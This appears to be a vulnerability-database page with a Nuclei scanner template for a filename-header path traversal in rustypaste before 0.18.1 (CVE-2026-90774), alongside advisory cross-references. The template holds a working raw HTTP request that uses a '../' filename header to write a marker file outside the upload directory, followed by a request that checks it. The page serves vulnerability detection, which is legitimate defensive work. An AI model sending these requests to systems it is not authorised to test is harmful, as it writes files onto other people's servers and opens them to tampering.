rustypaste < 0.18.1 - Filename Header Path Traversal
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2026-90774 | 13 Sep 202612:00 | – | circl | |
| CVE-2026-90774 | 13 Sep 202610:45 | – | cve | |
| CVE-2026-90774 rustypaste before 0.18.1 Path Traversal via filename header | 13 Sep 202610:45 | – | cvelist | |
| EUVD-2026-76995 | 13 Sep 202610:45 | – | euvd | |
| CVE-2026-90774 | 13 Sep 202611:17 | – | nvd | |
| PT-2026-90841 | 13 Sep 202600:00 | – | ptsecurity | |
| CVE-2026-90774: Improper Limitation of a Pathname to a Restricted Directory | 13 Sep 202600:00 | – | rapid7 | |
| CVE-2026-90774 rustypaste before 0.18.1 Path Traversal via filename header | 13 Sep 202610:45 | – | vulnrichment |
id: CVE-2026-90774
info:
name: rustypaste < 0.18.1 - Filename Header Path Traversal
author: carfeii
severity: high
description: |
rustypaste before 0.18.1 contains a path traversal caused by improper validation of the custom filename HTTP header, letting attackers write files outside the upload directory.
impact: |
Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
remediation: |
Update to version 0.18.1 or later.
reference:
- https://github.com/orhun/rustypaste/issues/622
- https://github.com/orhun/rustypaste/commit/ac05d552596af4a8429d80f30d11f67117ce02c8
- https://github.com/orhun/rustypaste/blob/v0.18.0/src/paste.rs
- https://nvd.nist.gov/vuln/detail/CVE-2026-90774
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2026-90774
epss-score: 0.00558
epss-percentile: 0.45664
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: orhun
product: rustypaste
shodan-query: title:"rustypaste"
tags: cve,cve2026,rustypaste,path-traversal,file-upload,intrusive
variables:
marker: "{{randstr}}"
escfile: "{{randstr}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{randstr}}
filename: ../{{escfile}}.txt
--{{randstr}}
Content-Disposition: form-data; name="protected"; filename="{{marker}}.txt"
Content-Type: text/plain
{{marker}}
--{{randstr}}--
matchers:
- type: dsl
dsl:
- 'contains(body, escfile)'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /{{escfile}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, marker)'
- 'contains(content_type, "text/plain")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402200e471e7a4c7d512ba1ba3c9884d60d8ee95b9b5e1c3cf15572633c69ddc2740b02201a93f37c5627736e814c2004ce27aea6481f19850700adf648b60933b9ca6bc1:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Oct 2026 00:02Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.17.5
CVSS 48.7
EPSS0.01358
SSVC